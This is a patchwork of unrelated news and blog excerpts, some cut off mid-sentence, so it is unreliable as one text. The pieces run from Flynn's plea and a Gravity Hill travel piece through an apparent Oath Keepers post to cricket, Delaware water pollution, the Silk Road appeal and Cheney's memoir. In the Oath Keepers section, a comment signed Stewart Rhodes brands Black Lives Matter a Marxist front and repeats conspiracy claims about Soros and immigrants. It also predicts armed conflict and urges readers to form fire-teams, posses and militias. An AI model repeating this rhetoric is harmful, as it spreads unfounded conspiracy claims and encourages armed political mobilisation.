She added: "I think we see this in the indictments, the four indictments and pleas that have just taken place and some of the comments that are being made."
Feinstein's comments in the wake of former national security advisor Michael Flynn entering a guilty plea for lying to federal investigators about conversations he had with a Russian ambassador.
While Trump insisted on Saturday Flynn's conversations were "lawful" and above board, he acknowledged that he fired the former general for lying to investigators during the transition phase.Disclosure: This article may contain affiliate links. We will make a small commission from these links if you order something at no additional cost to you.
In our daily life, we take many things for granted. One of them is gravity.
We are taught from a young age in our science classes about the law of gravity: what goes up must come down. However, what if that isn’t always true?
This was the question I tackled as I found my way driving to a spot known as Gravity Hill near Bedford, Pennsylvania. (There’s also a Gravity Hill in Pittsburgh!)
As a child, I had visited a gravity hill in the northeast, but felt sure that my feeling of wonder must have been mistaken. After all, a car can’t travel uphill. Can it?
After following the surprisingly well-marked signs into what felt like the middle of nowhere, I finally came upon the |
. Yesterday evening (July 5, 2016), DeRay posted the following message on twitter referencing an article about Donald Trump:
DERAY MCKESSON: “he has to be stopped.”
Analysis and Conclusion:
I have asked technicians that are experts in Photoshop to review the purported messages. These technicians reported that many of the images are either legitimate or done by someone with significant skills. They tell me that to replicate some of the images would take hundreds of hours. They also reported that most of the images are exactly 576×1024 pixels at 24 bit depth 96dpi with no detectable fragments or overlays. They reported that most of the images are what would be expected from an HTC One phone. They also reported that in order to replicate some of the images as presented with various scroll positions would be extremely difficult. This information, coupled with the known facts above lead me to the following conclusions:
The Black Lives Matter leadership and membership would prefer that Barack Obama remain in office. Significant protests are being orchestrated by the Black Lives Matter leadership for both the Republican and Democratic National Conventions. Most likely some of the images are real. Their existence could either be factual as reported above or part of an elaborate hoax to generate support for protests concocted by the Black Lives Matter leadership. Whether the images are real or not, there are no facts that confirm the participation of the Attorney General. If the reported discussions and support of the Attorney General are factual, we will find out soon enough.
Please review my previous two articles on the protests planned for the Republican and Democratic National Conventions for additional information:
https://oathkeepers.org/navyjack-cleveland-a-city-in-the-crosshairs/
https://oathkeepers.org/protests-and-preparations/
And read this article for an overview of how such groups fit into the larger campaign to destabilize the United States:
https://oathkeepers.org/navyjack-understanding-campaign-destabilize-united-states/
COMMENT BY STEWART RHODES:
The first thing I thought of when I heard about these alleged leaked messages was Matt Bracken’s excellent short story, “What I Saw at the Coup” (highly recommended reading!). That is how it would turn out for these Marxist “useful idiots” if they actually tried to implement martial law.
As one of our commenters said below, these “activists” really have no idea what a serious hornets nest they are kicking if they think they can successfully help Obama to an unconstitutional “third term” by means of manufactured crisis and a subsequent declaration of “martial law.” All that would do is spark open armed conflict between “them” and us – with us being the great mass of the warrior class of America – the military (current serving and veterans) and the gun owners. The Marxists have not yet successfully indoctrinated the majority of that American warrior class to be subservient slaves/unthinking enforcers, nor have they disarmed us, but because Marxists often believe their own bull, and project onto us their own cowardice and incompetence, they may well actually believe they could pull it off.
But as Cal so ably pointed out in the comments section below, and as Dr. Edwin Vieira has written about extensively, there is no such thing as “martial law” in our Constitution or in our system of government established by it. Go ahead and look. You will not find that term anywhere in the text of the Constitution. Nor will you find that term in any of the state constitutions. It is an illegitimate figment of the heated imaginations of regime bootlickers and wanna-be tyrants. And we know it, which is precisely why it is specifically listed as #4 in our Declaration of Orders We Will Not Obey:
4. We will NOT obey orders to impose martial law or a “state of emergency” on a state, or to enter with force into a state, without the express consent and invitation of that state’s legislature and governor. One of the causes of the American Revolution was the attempt “to render the Military independent of and superior to the Civil Power” by disbanding the Massachusetts legislature and appointing General Gage as “military governor.” The attempt to disarm the people of Massachusetts during that martial law sparked our Revolution. Accordingly, the power to impose martial law – the absolute rule over the people by a military officer with his will alone being law – is nowhere enumerated in our Constitution. Further, it is the militia of a state and of the several states that the Constitution contemplates being used in any context, during any emergency within a state, not the standing army. The imposition of martial law by the national government over a state and its people, treating them as an occupied enemy nation, is an act of war. Such an attempted suspension of the Constitution and Bill of Rights voids the compact with the states and with the people.
And very closely related is #3 of our Declaration:
3. We will NOT obey any order to detain American citizens as “unlawful enemy combatants” or to subject them to trial by military tribunal. One of the causes of the American Revolution was the denial of the right to jury trial, the use of admiralty courts (military tribunals) instead, and the application of the laws of war to the colonists. After that experience, and being well aware of the infamous Star Chamber in English history, the Founders ensured that the international laws of war would apply only to foreign enemies, not to the American people. Thus, the Article III Treason Clause establishes the only constitutional form of trial for an American, not serving in the military, who is accused of making war on his own nation. Such a trial for treason must be before a civilian jury, not a tribunal. The international laws of war do not trump our Bill of Rights. We reject as illegitimate any such claimed power, as did the Supreme Court in Ex Parte Milligan (1865). Any attempt to apply the laws of war to American civilians, under any pretext, such as against domestic “militia” groups the government brands “domestic terrorists,” is an act of war and an act of treason.
Both of those are toward the front of our Declaration for very good reasons. “Martial law” is simply the unlimited will of the commander on the battlefield, and is what we imposed on defeated foreign enemy nations such as occupied Germany or Japan (in Japan, General MacArthur ruled the Japanese as a supreme, unlimited ruler, subject only to the laws of war, during the occupation). There is no power anywhere granted by our Constitution for any branch of the federal government to treat the American people as an occupied enemy nation. And any attempt to impose “martial law” and suspend elections will be treated as a bright line trip wire and will bring on open armed conflict between the regime and we of the American warrior class – and it well should. When those in government positions attempt to suspend the very Constitution that created the offices they hold, and attempt to unleash unlimited military power on the people, it is an act of war against the Republic, and against the people, and thus an act of open treason, and at that point, we will be duty bound to resist it with arms, just as our forefathers were duty bound to resist General Gage’s “martial law” usurpation and tyranny with arms. We are on the eve of such a conflict, yet again (and that is unfortunately true even if these messages are fake, since the modern “long train of abuses” is amply evident without them). And I believe enough of us in the warrior class know and understand this, and see this whole regime as fundamentally illegitimate, that whatever the excuse, it would not be accepted and we would fight.
Because it is such an important topic, I will write more extensively on this, and what must be done now to counter such plans and prepare for what is coming (hint: got CPT? Got neighborhood watch? Got town civil defense? Got posse? Got Militia?).
Back to these messages: Given what Jack has said about the difficulty in faking such messages, and given the fact that there is no indication that Deray is trying to get Twitter to take down the postings by the alleged hacker, I tend to think the messages are real, and the hacker merely hacked Deray’s phone and obtained access to those real messages. However, even if the messages were not real, they certainly are in line with the very publicly stated intent of radical Marxist groups to disrupt and “shut down” both the RNC and the DNC, as Jack has so ably documented in the above linked articles. See especially this one, and pay close attention to his July 4 update at the end.
And that is why I lean toward thinking the messages are real – they fit right in with the radical Marxist mindset and world-view of such “activists” and as I said in my comment yesterday on Black Lives Matter already ramping up for riots in response to the Baton Rouge shooting, I consider them to be a Marxist front organization much like La Raza, meant to divide Americans along racial lines and cause as much chaos and destruction as possible, all in the name of the communist revolution (at least in the minds of the “useful idiot” activists, while the international elites who fund them, like George Soros, have other plans). All of this, combined with the wide open borders and massive influx of illegal aliens, and the wide open immigration of Muslim “refugees” who are being encouraged to not assimilate, and the clear and present danger from ISIL (ISIS) terror cells among them, is part of that massive Fourth Generation Warfare destabilization campaign I, Matt Bracken, and others have been warning about for years.
Remember that manufactured emergencies, declarations of martial law, and suspension of elections, are right out of the totalitarian playbook throughout history, whether carried out by fascists such as Hitler, Mussolini, or Franco, or by communists such as in China, Russia, Poland, Czechoslovakia, etc. It is what tyrants do, and in particular, what Marxists do (and “fascists” such as Hitler and Mussolini were really just nationalist Marxists – national socialists).
I am tempted to say “throw us in that briar patch” but I can’t in good conscience wish for it, because I know the hell that would be. But we will likely go there regardless, so get ready. Got buddy team? Got fire-team? Got squad? God neighborhood watch? Got town watch? Got posse? Got militia? Get busy. Get ready.
For the Republic,
Stewart RhodesMore and more details continue to emerge about the Chromebook we only know as ‘Eve’ thus far.
With each additional find, we hopefully come closer to some kind of official announcement for this new device.
For today’s tidbit, we have a commit about the keyboard being backlit. Again, this one comes from our buddy +Yanny Mischuck.
You can see it here, but the language is pretty straight forward:
The TPS61161DRVR used for keyboard backlight expects an input frequency of 5 to 100 kHz but is currently only getting 100Hz. With this change the keyboard backlight duty cycle curve behaves as expected and you no longer need 50% duty cycle to get it to turn on. Also the keyboard backlight does not need to be enabled in DSLEEP since that is only possible in S3/S5, so remove the DSLEEP flag.
So, it seems the picture for ‘Eve’ is slowly but surely getting more and more clear. To date, we have:
From all this, we can at least assume that ‘Eve’ will be a higher-end device with all the bells and whistles that we are starting to become used to in the nicer Chromebooks here in 2017.
As always, we’ll keep you posted as we find more!Jim Messina helped get Barack Obama elected and, if given half a chance, he’ll do the same for Hillary Clinton. So what is he doing in the U.K. trying to keep Conservative Prime Minister David Cameron in power?
The New York Times profiles Messina’s entry into British politics, along with fellow Obama campaign veteran David Axelrod. Unlike Messina, Axelrod is advising the Labour Party, with an anti-austerity message that would sit well with Obama circa 2008.
Messina says he is quite comfortable working for Cameron, but his former colleagues aren’t so understanding. According to the Times, there is a “sense among some Obama campaign and administration veterans that Mr. Messina’s work for the Tories has crossed an ideological threshold that his consulting for casinos and corporations only approached.”
Axelrod, on the other hand, seems tickled by the arrangement. “I’m not here on business,” he is quoted as saying. “If I were doing this for business reasons I’d be doing something else.”
The journalist-turned-strategist can jest all he wants, but there’s big money in politics no matter where the election is held, and he is most certainly being paid, though how much was a question Cameron himself rudely brought up in parliament.
Messina, who did not follow Obama into the White House after the 2012 election, is also well compensated, according to the Times profile, and may have used his position in the Obama camp to get the gig:
Mr. Messina auditioned for the job — paying in the six figures according to Tory officials — after the 2012 election by shepherding a group of Conservative officials through Washington to meet senior Obama campaign officials. “I don’t know who would have gone into that meeting not thinking that there was something going on between Messina and the Tories,” said one such official, who considered the meeting a favor to Mr. Messina.
(Tip of the hat to Political Wire).
— Posted by Peter Z. ScheerOn 2 March 2011 something remarkable happened in the Indian city of Bangalore. Ireland, joyously, gloriously and improbably beat England at their own game - cricket.
It was the first time the Irish team had defeated their better-paid and better-known English counterparts. But it was not just another piece of sporting giant-killing.
You may remember how the Norwegian broadcaster Bjorge Lillelien greeted Norway's victory over England in a World Cup football qualifier 30 years before.
"Maggie Thatcher," he crowed exultantly, "your boys took a hell of a beating."
You can get some sense of the delight (and let's be honest, surprise) with which Ireland reacted to the cricket result from the way Fergal Keane, a correspondent with the national broadcaster RTE (not to be confused with the BBC correspondent of the same name), broke off from a contemplation of the national economic crisis to offer an updated version of that victory speech.
He told his audience: "I'm minded to say 'Are you watching Jeffrey Archer, Mick Jagger, Will Carling, Ian Botham, Geoff Boycott... Are you watching William Gladstone, Oliver Cromwell?"
Fergal's selection of English icons may be a little eccentric, but his exuberance captured the excitement of that far away victory over the nearest of neighbours. Imagine David Dimbleby or Dan Rather breaking off from a meditation on some national emergency to revel in the results from a minority sport and you have the incongruity of the moment.
We went there [to Bangalore] to get ourselves on to the next rung Phil Simmons, Coach, Irish cricket team
In part of course, it was the delight that any small and independent nation feels when it defeats the old imperial masters in a sporting fixture - a feeling identified by the masterly West Indian cricket writer CLR James.
But there was something more to it - a feeling that Irish cricket had been brought in from the cold by the heroic efforts of Kevin O'Brien and the rest of the team.
For many years the sport was squashed under the heavy roller of history.
It was considered a "garrison game" - a symptom and a symbol of the British presence.
To play cricket was to risk being banned from games like hurling and Gaelic football, which are under the control of the the Gaelic Athletic Association (GAA). Those games generate the deepest sporting passions in Ireland and such a ban would have been a heavy punishment.
But somehow cricket survived and plenty of people appear to have carried on playing under assumed names so they keep playing Gaelic games too. The ban, I should say, is no more.
Find out more Over the Boundary is on Monday 16 July at 11:00 BST on BBC Radio 4 Or catch up later on iPlayer
No-one should assume that a love of cricket is some sort of sporting version of unionism either. Rather surprisingly, Martin McGuinness, the IRA commander turned politician, who now serves as Northern Ireland's deputy first minister, loves the game and talks entertainingly about playing it with his children on the beaches of Donegal.
And there were always enthusiasts whose love of the game kept it going - burning like a bright little pilot light, even in the darkest of times.
In Sion Mills - a village in County Tyrone which lies on the northern side of the Irish border - I met the brothers Pat and Tony Gallagher, whose family helped to keep the game alive.
The local landowners - keepers of the Big House in Irish terms - were the Herdman family and the village cricket ground lies in the shadow of the imposing mill buildings which turned out the fine linen with which their name was once synonymous.
The years of globalisation have not been kind to Northern Ireland's textile industry but the neatly-kept little ground is still in beautiful condition. In Sion Mills the game flourishes.
Image caption In 2007, Irish left-handed batsman Eoin Morgan started playing for England
The Gallaghers showed me wonderful newspaper cuttings evoking a vanished world in which the factory hooter was sounded triumphantly to celebrate the village team's victory in a competition in Belfast. There are moving descriptions of villagers thronging the little railway station to welcome the champions home. And a faithful account of the speech of congratulations from the head of the Herdman family from the Big House.
But Sion Mills does not owe its place in Irish cricket history to that victory. It is famous because it was the place where, in 1969, Ireland defeated - routed - the West Indies.
Until the victory over England, it was the biggest day in Irish cricketing history. It was a magnificent achievement, but somehow Ireland failed to build on it.
The Gallaghers would argue that is because Irish players - like Eoin Morgan in the present day - tend to be poached by England with the promise of test match cricket at the highest level... and the money and recognition that go with it.
Will the Irish cricketing authorities be more successful at capitalising on that World Cup triumph over England? National coach Phil Simmons believes that it can be done.
Even in the immediate, delirious aftermath of that win over the English, Phil was already calculating how to build on victory. "We went there to get ourselves on to the next rung and see where that takes us," he says.
But we leave the last word with Fergal Keane - the man from RTE who gave his on-air celebrations that stylish touch of history.
His sons love the game - proof that the national team's exploits can inspire young people at the grass roots.
"The first time cricket came into my consciousness was a few years ago, when Ireland beat Pakistan," Fergal says. "Coincidentally, my boys became obsessed with cricket from that day on. So when it came to Ireland beating England I at least knew something about it. Before then I could have written what I knew about it on the back of a postage stamp."
There is still a long way to go for cricket in Ireland but the sport these days is well-run and ambitious.
The work of building on that famous win over England is already under way. And if, as a result, cricket continues to attract more and more Irish boys and girls from all sorts of different backgrounds, then that would be the sweetest victory of all.While President Trump has been focused on battles inside Washington and around the world, quietly creeping up on him are potentially large political fights in state capitals across the nation.
The effort to pass legislation requiring presidential and vice presidential candidates to release five years of tax returns in order to appear on individual state ballots began as a novel bill in Trump’s home state of New York. It has now ballooned to half the nation. On Tuesday, Delaware became the 25th state to introduce a bill nearly identical to New York’s.
In a few weeks, Maine state Representative Seth Berry, a Democrat, said he expects his bill — No. 26 — to be formally introduced.
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In fact, once Maine is added to the mix, five of the six New England states — all but New Hampshire — will have taken up the legislation.
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New York state Senator Brad Hoylman was the first legislator to file what became the model legislation for the rest of the country. Hoylman filed the Tax Returns Uniformly Made Public, or T.R.U.M.P. (get it?), in December, mainly inspired by Harvard Law School professor Laurence Tribe, who suggested this approach would pass constitutional muster.
The whole reason that this has come up, of course, is that Trump was the first presidential nominee in more than 40 years not to release any prior year tax returns. The law requires him as a candidate to fill out financial disclosure forms of his holdings (and face perjury charges for misstatements), but releasing tax returns themselves has simply been a political tradition since President Nixon.
Trump said he didn’t want to release his own returns because he was under audit by the Internal Revenue Service, a claim that the IRS, by policy, cannot confirm. The IRS, however, said that taxpayers are free to release their returns even if under audit. Trump has also said that only the press cares about seeing his returns — even though a vast majority of Americans in polls last fall said they would like to see them.
“This bill is about transparency. Presidents are subject to the same conflict-of-interest laws that his Cabinet and other lawmakers are,” Hoylman, the New York state senator, said. “I am heartened by the fact that so many other states are joining in the effort.”
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Predictably most of these states are traditionally Democratic. Some, like Maine, Massachusetts, Maryland, Vermont, and New Jersey could see the bills approved by state legislatures but then vetoed by Republican governors.
“Look, do I think that Chris Christie will sign this into law? No,” said New Jersey Senate majority leader Loretta Weinberg, a Democrat. “But we filed this bill really to make a point.”
The author of the Massachusetts bill, state Senator Mike Barrett, a Lexington Democrat, said he, too, was inspired by the New York bill and touched base with Tribe. He added a few local provisions that would also require presidential and vice presidential candidates to fill out the same statement of financial interests that all Massachusetts candidates must.
In an interview, Barrett said he approaches the bill with a good-government lens, not a partisan one.
So far, Governor Charlie Baker hasn’t taken a position on the bill.
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“Governor Baker will carefully review any legislation that comes to his desk and as a candidate for governor released his own tax returns to the public,” said Elizabeth Guyton, Baker’s communications director.
Should a bill become law, it will likely face legal challenges, according to Brian Hildreth, president of the California Political Attorneys Association. California was one of the first states to follow New York in filing legislation.
“Eligibility to run for office is linked to the eligibility for the right of a person to vote,” Hildreth said. “The courts have been very clear that creating barriers to vote like a poll tax, literacy test, or needing to own property is now unconstitutional. I could see that anytime a legislature adds more steps, they will face a problem.”
Yet at the same time, courts have given states broad authority over how to administer their elections, including requiring candidates to issue financial disclosure forms as Massachusetts has done.
Hoylman, of New York, pointed out that really only one state needs to pass the law, not all 26. “Once one state has [the tax returns] and makes them public, then everyone will have them,” he said.
And what if Trump chooses simply not to have his name on the ballot in, say, California since Republicans fare poorly there?
“With his obsession over the popular vote, I don’t think he will concede that many votes,” Hoylman said. “I am very hopeful this will work.”
James Pindell can be reached at james.pindell@globe.com. Follow him on Twitter @jamespindell or subscribe to his Ground Game newsletter: pages.email.bostonglobe.com/
GroundGameSignUp(Yorkshire, UNITED KINGDOM) – This past weekend, The Mirror reported that Samuel Smith’s management closed down a pub during a New Year’s Eve party due to serving pints “too full” of beer.
Shortly after posting about the report, Lee Williams sent over a link to a program called, “Inside Out,” that aired on BBC in 2009. The program details the power that Samuel Smith’s has over the town of Tadcaster and features interviews from past employees that were fired and other locals that have had run-ins with the company. One man describes his experience with Samuel Smith as “ten years of hell.” Multiple interviewees lose their composure and break down during the report.
It doesn’t stop there.
The person who posted the video actually represents a forum for discussion around Samuel Smith Old Brewery. This is a forum where locals, employees and ex-employees can go to vent their frustrations about the brewery. And it is quite active.
Here is the description of the video and the forum as posted on the Youtube page…
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BBC’s Inside Out documentary – broadcasted 12th October, 2009 – in the Yorks and Links area. Gives just a very brief insight into the power of Sam Smiths brewery – and in particular how one of the two Director brothers – Humphrey W Smith – exercises his ‘Lord of the Manor’ type power, with apparently no regard for the hurt it may cause to many staff, customers, and literally, anyone who gets in his way. More information can be gleaned from our website: http://samsmiths.info which is a moderated open forum for managers, staff and customers – and was set up in the absence of an official website – and to overcome communication problems, since the brewery has banned all their pubs from owning/ running websites – which were normally done to help support their clientèle, and the brewery’s business.
Ultimately, the website and its members, support the brewery and it’s produce, and Public Houses – but are very concerned about the shift in governing policy exercised by Humphrey Smith, which has seemed to cause a steady increase in problems for staff and customers alike! Mr Smith (who avoids publicity, and commentary at all times) has made his viewpoint very clear in a circular (which we have seen an original) with regards to his customers – the is not bothered or concerned about what they may like or dislike. It is alleged that he has suggested; that as long as the beer is good, and the price is cheap, he will always have customers – dispite however long it takes to get served, or what the pub and surroundings is like, or has to offer. A very big departure from the usual market concerns for customers from his competition.
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Samuel Smith’s beers are imported into the U.S.A. by Merchant du Vin.
A brewery spokesperson could not be reached for comment.CLOSE Gov. Jack Markell, now in his fifth year as governor, is expected to outline a plan this week to finance a long-term plan, estimated $700 million or more, to tackle Delaware's legacy of troubled waters. (03/01/14)
It will take years and hundreds of millions of dollars to fix the damage already done.
Buy Photo oseph Stockburger (from left), 18, Nicholas Malchione, 17, Phil Claudy, 17, and Mike Glaude, 17, all seniors at Salesianum, row last month with the Newport Rowing Club during practice on the Christina River. Much of the river fails to meet Clean Water Act requirements for swimming. (Photo: JENNIFER CORBETT/THE NEWS JOURNAL)Buy Photo Story Highlights 2,509 - Total stream and river miles
6% - Amount of streams and rivers where fish thrive
15% - Amount of streams and rivers safe to swim
59% - Amount of lakes and ponds safe to swim
Thousands of miles of water run through Delaware, in creeks and streams and rivers and bays, and very little of it is considered healthy. Nearly all of the state's rivers and streams – 94 percent, the highest amount in the region – are so bad that fish can't thrive. In 85 percent of them, Delawareans can't swim. Exempt from these dubious distinctions: the 24-mile Delaware Ocean coast and the Delaware Bay shore. Many days, Delawareans look out over the state's waters and see only calm and beauty. But the problem of dirty water is real, a product of dangerous toxins, unsanitary runoff and destructive deposits creeping in unseen. If left untouched, Delaware runs the risk of endangering its drinking water supplies, leaving fish caught in state waters too contaminated to eat and losing a multimillion dollar tourism industry built on a promise of clean, clear water.
Read our Special Report: Delaware's Dirty Water
In Wilmington, Ronald Bowers has had more than a decade to watch Delaware's dirty water problem from his third-floor balcony overlooking the Brandywine at Superfine Lane, built atop the foundations of a 19th century flour mill across from the city's water filter plant.
"Let me tell you, on some days I get up and the water just looks bad. You can see stuff floating in it," Bowers said. "Years ago I used to fish there, but not any more. I ask old guys who used to go there and fish and they say, 'Man I'm not eating anything out of that river. It's too dirty.' But you still see people doing it."
Near Dover, Jeremy Drago has followed the catch-and-release custom that has become common among bass clubs fishing in the Murderkill watershed, which drains farm fields as far west as Harrington and dumps into Delaware Bay by Bowers Beach.
For Drago, who fishes ponds and streams across Delaware, there really isn't any other option.
"I have a friend who will tell you not to eat anything out of Silver Lake in Dover at all," Drago said. "But I also have a friend who's been eating Silver Lake fish all his life, and he's still kicking."
Buy Photo Jeremy Drago, former president of Dover Bass Club, fishing at Wyoming Lake spillway off Wyoming Mill Road. (Photo: GARY EMEIGH/THE NEWS JOURNAL)
Along the Christina River in full view of the Riverfront development, "the boats really do need to be washed every day at this point, especially after a storm," said Meg Carr, manager for the Newport Rowing Center in Newport. "The kids pretty much know that if they can avoid touching the water, they avoid it. We know the water's not clean."
Five weeks ago during his State of the State address, Gov. Jack Markell branded the state's water "embarrassing" and "unacceptable," and vowed to offer a plan to "clean up our waterways within a generation."
Markell, now in his fifth year as governor, is expected to outline the plan this week to finance a program estimated to cost more than $700 million to tackle Delaware's legacy of troubled waters.
His promise to act quickly drew comparisons with neighboring Maryland's decision in recent years to create a new "flush tax" and resident fees to pay for water-quality programs.
Markell's plan will focus on wastewater treatment, water quality needs and protection. On Tuesday, he is expected to propose reducing pollution, erosion and flooding caused by poorly managed stormwater runoff. He also will argue that the plan will create jobs for a state still struggling to recover from the Great Recession.
"The time has come to have dedicated resources over a multiyear plan to actually put the projects on the ground that we know are necessary," said Department of Natural Resources and Environmental Control Secretary Collin P. O'Mara, "and then to try to accelerate those projects on a time frame that allows us to see the benefit in our lifetime and also puts a bunch of folks to work right now."
Time to heal
Unless action is taken, generations will pass before some of the state's most-abused creeks heal and toxic pollution levels fall enough to make fish safe to eat freely, state officials have cautioned. Dozens of Delaware's waterways remain under fish consumption advisories, warnings that regularly eating fish caught there increases cancer risk by at least an extra 1-in-100,000, and in some spots 1-in-1,000.
Buy Photo Ronald Bowers on balcony of his Superfine Lane apartment overlooking Brandywine Creek. February 18, 2014. (Photo: ROBERT CRAIG/ THE NEWS JOURNAL)
Even without the cancer risks, there is the problem of mercury tainted fish – including big bluefish from the ocean, some ponds and Prime Hook Creek east of Milford. In many of these waterways, state officials recommend that pregnant women eat no fish at all.
The easy fixes to the state's water problems are in place, including removing pipes that once spewed minimally treated sewage and manufacturing process water into rivers and streams.
"There's been enormous progress in what you could characterize as the low-hanging fruit," said Kenneth T. Kristl, director of the Widener Environmental Law Clinic.
"What we're dealing with now are problems that are more subtle, more insidious, more intractable... The solutions are much more difficult."
What remains are pollutants that touch waterways across the state. They flow from thousands of acres of phosphorus-enriched farmland in Sussex and Kent counties to nitrogen tainted groundwater south of the Chesapeake and Delaware Canal. Bacteria slips into waterways from faulty septic systems, from dog waste left on the curb, from migrating waterfowl, from cattle depositing waste in streams where they roam freely.
The problems also include aging and outdated water systems, storm drains, ponds holding runoff from neighborhoods and ditches, a legacy of toxic pollutants, runoff from urban and suburban development and farm fields, and increasing strain on headwater habitats as stream banks erode, trees topple or vegetation is removed.
Currently, creeks supplying 70 percent of northernmost Delaware's drinking water carry levels of bacteria, chemicals and fertilizers too high to meet federal Clean Water Act standards, creating a need for industrial-scale treatment before the water is suitable for public consumption.
And south of the canal, the groundwater is often tainted with nitrogen at levels at or approaching the federal Safe Drinking Water Act maximum of 10 milligrams per liter of water. High levels of nitrogen can interfere with oxygen in the blood stream among infants and the elderly.
In some spots above and below the region's largest drinking water intakes, contaminated industrial land bleeds polychlorinated biphyenyls (PCBs) that were banned in the 1970s and other toxic chemicals into damaged tidal creeks and the Delaware River itself.
Shared struggle
Part of the problem, Kristl said, lies in the Clean Water Act of 1972 – the law that allowed a comprehensive cleanup of municipal and industrial sources of water pollution. The act gave federal officials and states the authority to regulate water pollution at the discharge pipe. But it stopped there, with states and counties having few means and little authority to address broader pollution problems such as leaking septic systems and unchecked runoff from farm fields and developments.
That point was driven home when DNREC attempted to curb pollution that could not be linked to a single source, such as runoff from fields and yards.
Around the inland bays, state officials tried to get control by barring development in narrow buffer strips around the bays and streams that feed them. Sussex County and local developers had the state rules struck down in court, pointing out that land use is a county power.
Four decades after passage of the Clean Water Act, much of the nation – especially the long-settled industrial northeast – is still struggling to restore its waterways to "fishable and swimmable" status.
Maryland, New Jersey, and Pennsylvania all report better water compliance, but big gaps, with tens of thousands of stream miles not yet evaluated. Delaware has checked virtually all of its more than 2,500 miles of rivers, streams, creeks and ponds.
Shawn Garvin, the federal Environmental Protection Agency regional administrator, said Delaware has done such a good job assessing the condition of its streams, creeks, ponds and estuaries that at one time observers could look at a stream that started in Pennsylvania and it was listed as not polluted but once it entered Delaware it was.
Knowing where the problems are is a first step, Garvin said. But "a lot of these things are going to require investments on the ground."
In some parts of Delaware, water problems have become grotesque.
During the mid-1990s, people who lived and boated along Rehoboth Bay put up with an overgrowth of Ulva lactuca – sea lettuce – an algae that looks like neon-green leaves of kale. It clogged the bay shore for several hundred feet, suffocated creeks and lagoons, and as it decomposed, it kept people indoors because of the stench.
The decomposition also produced hydrogen sulfide at levels high enough to corrode bolts on the keels of sailboats and discolor metal in nearby homes. These days it has virtually disappeared but no one is certain whether it left the bays because of the massive harvesting effort or because of a change in water quality.
MAP: Delaware's dirty water
Big polluters
So far, Delaware officials have seen no cases of human illness at ponds, but several have been posted with warning signs – often at the boat ramps where people launch to fish for bass, sunfish and crappie.
Visitors to Delaware's inland bays are warned against swimming in the same waters where they are encouraged to rent sail boards, boat and fish, and where maps of shellfishing beds are stained bright red in large areas because of dangerous bacteria levels. High levels of nitrogen and phosphorus fuel a chain reaction of supercharged aquatic plant growth and decomposition that sucks the oxygen from the water in the bays, producing massive fish kills that serve as a calling card of the degraded environmental conditions.
Around Wilmington, research has shown that some of the region's top industries also rank as some of the worst water polluters in the 13,000 square mile Delaware River watershed, and significant contributors to toxic contamination that led to fish consumption warnings.
During the past decade, studies tagged Amtrak's heavy locomotive shops in Wilmington as the far-and-away largest source of PCB contamination from stormwater runoff. The same research tagged the now-bankrupt and abandoned Standard Chlorine Metachem chlorinated benzene plant near Delaware City – once the world's largest producer of some pesticide and insecticide ingredients – as the top discharger |
Dratel’s arguments focused on what he viewed as improper limitations on cross-examination of Jared Der-Yeghiayan, a special agent with Homeland Security Investigations. At trial, Judge Forrest struck some of the cross-examination from the court record: specifically any "personal beliefs" that he may have had about "particular individuals" during the investigation of Silk Road.
At one point during his detective work, Der-Yeghiayan was looking into former Mt. Gox owner Mark Karpeles. As Ars reported before, Dratel wrote in his appellate brief that he should have been able to present evidence (via cross-examination) about Karpeles. Specifically, he hoped to focus on Karpeles' offer to provide the name of someone he thought was running Silk Road in exchange for immunity on financial charges. (Karpeles has said he hadn't heard of Ross Ulbricht until Ulbricht was arrested in October 2013; the information he had to offer was related to a fake name used to register a website advertising Silk Road.)
In the Friday reply brief, Bharara punched back by saying that Dratel didn’t establish any meaningful rationale as to why Karpeles, and not Ulbricht, was the true DPR.
The facts that Karpeles owned a Bitcoin exchange and that websites associated with him used publicly available software also used by the Silk Road website (Tr. 50203, 742-45), are no more probative than the fact that extremists in Oklahoma besides Timothy McVeigh considered attacking the Murrah Federal Building (a fact that was excluded from McVeigh’s trial).
Ulbricht’s defense team has long tried to make hay out of how they essentially put on no defense—their two star witnesses were denied their testimony on procedural grounds. However, Bharara countered that the testimony deserved to be excluded, as "the defense did not describe what the witnesses would actually say" in their own court filings.
Bharara closed his reply brief with arguments that not only was Ulbricht actually guilty of the crime he was convicted of, but that his sentence was reasonable. Amici (friends of the court) who filed on Ulbricht’s behalf post-sentencing have pointed out that less than one percent of drug cases result in a life sentence, so his double life sentence is far too long on its face.
"But life sentence are hardly unprecedented for defendants who held leadership roles in large-scale drug conspiracies, especially when they used the threat of violence to maintain their organization," the prosecutor wrote.
He went on:
Although Ulbricht likens himself to the "landlord" who lets his tenants sell drugs (Br. 138), in fact he was a kingpin, the "captain of th[e] ship," (Tr. 258), in his words, who was "lead[ing] an international narcotics organization" from "[b]ehind [his] wall of anonymity," (Tr. 264, 283). The drug dealers who sold through Silk Road were his "business partners" (Tr. 1793), not mere tenants, and unlike a landlord, Ulbricht received a commission on each and every sale that Silk Road facilitated. Ulbricht generally did not sell drugs himself, because he did not have to; like any other kingpin, he had an entire network of individuals operating under his umbrella who did the work for him, including individuals he paid to kill others.
The 2nd Circuit Court of Appeals has yet to schedule oral arguments in the case. A decision is likely to follow several months later.You can’t storyboard for authenticity. That’s the problem when Hollywood productions excavate subcultures for mainstream entertainment. As we’ve seen recently, it’s not enough to take a rose-tinted stroll down another era’s mean streets—really, you just had to be there.
And Brooklyn native Jamel Shabazz was, growing up in New York at the dawn of hip hop. It was a time when homegrown fashion and music—and swagger—were just beginning to coalesce into the international movement we know today. From the mid-1970s, Shabazz roamed the streets of his city snapping portraits, his eye drawn to youth posturing and camaraderie, neighborhood style with an unmistakable Big Apple attitude. Composed snapshots show women and men presenting themselves in ways they wanted to be seen—their image self-determined, not imposed by the agenda of a visiting journalist. Looking back now, it’s easy to see Shabazz’s pictures in the context of what came next; crack cocaine and AIDS would soon wreak havoc in these streets. But his photographs also portend the resilience and strength that would keep these communities alive through the hard times to come.
Hip hop honors legacy and storytelling. Street legends and personal mythologies are its stock and trade, but the true tales of working class people are its core. Rappers are respected for their credibility. The same goes for photographers, where an authentic voice is key to powerful social commentary. It’s something that television producers of recent historical fiction would do well to consider: Looking isn’t ever enough — you have to be able to see.
All images from Back in the Days and A Time Before Crack by Jamel Shabazz, published by powerHouse Books.Former Vice President Dick Cheney's memoir will be out on Tuesday. Cheney: Bush authorized leak on Iraq
Dick Cheney writes in his forthcoming book, "In My Time: A Personal and Political Memoir,” that he was surprised to learn that President George W. Bush had personally authorized a leak about Iraq strategy to a Washington Post columnist — a disclosure that the former vice president believed could be "a real disservice" to U.S. troops.
